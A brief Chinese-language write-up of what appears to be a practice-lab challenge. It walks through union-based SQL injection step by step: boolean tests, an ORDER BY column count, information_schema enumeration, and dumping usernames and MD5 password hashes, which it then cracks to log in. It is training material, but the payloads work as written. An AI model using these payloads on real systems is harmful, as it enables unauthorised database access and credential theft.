打开靶机发现有个可点击的链接
测试是否存在sql注入
1 and 1=1 正常
1 and 1=2 错误
//故而存在sql注入
1.判断字段
order by语句
order by 1,2,3,4,5 判断到5时候报错,即有四个字段
2.报错看回显
?id=-1 union select 1,2,3,4
//这里把id改成=-1就是为了让其报错,找不到这个id,执行后面的联合查询即可看到回显
3.尝试查询
数据库名:database()
数据库版本:version()
?id=-1 union select 1,database(),version(),4
得到数据库名字: mozhe_Discuz_StormGroup
看到版本为5.7,属于高版本(5.0以上) 可以尝试 information_schema
information_schema,它是一个存储记录有所有数掘库名,表名,列名的数据库,也相当于可以通过查询它获取指定数据库下面的表名或列名信息。
4.尝试查询该库下的表
table_name:表名
table_schema:库名
?id=-1 union select 1,2,group_concat(table_name),4 from information_schema.tables where table_schema = '库名'
看到有两个表
5.查找指定库下列名
column_name:列名
id=-1 union select 1,2,group_concat(column_name),4 from information_schema.columns where table_name = '表名'
得到列名
6.尝试查找数据
?id=-1 union select 1,2,group_concat(id,name,password),4 from 表名
mozhe后面32位,应该是md5,解密得到密码
有两个密码,均尝试一下 有一个可以登录进去
即可得到key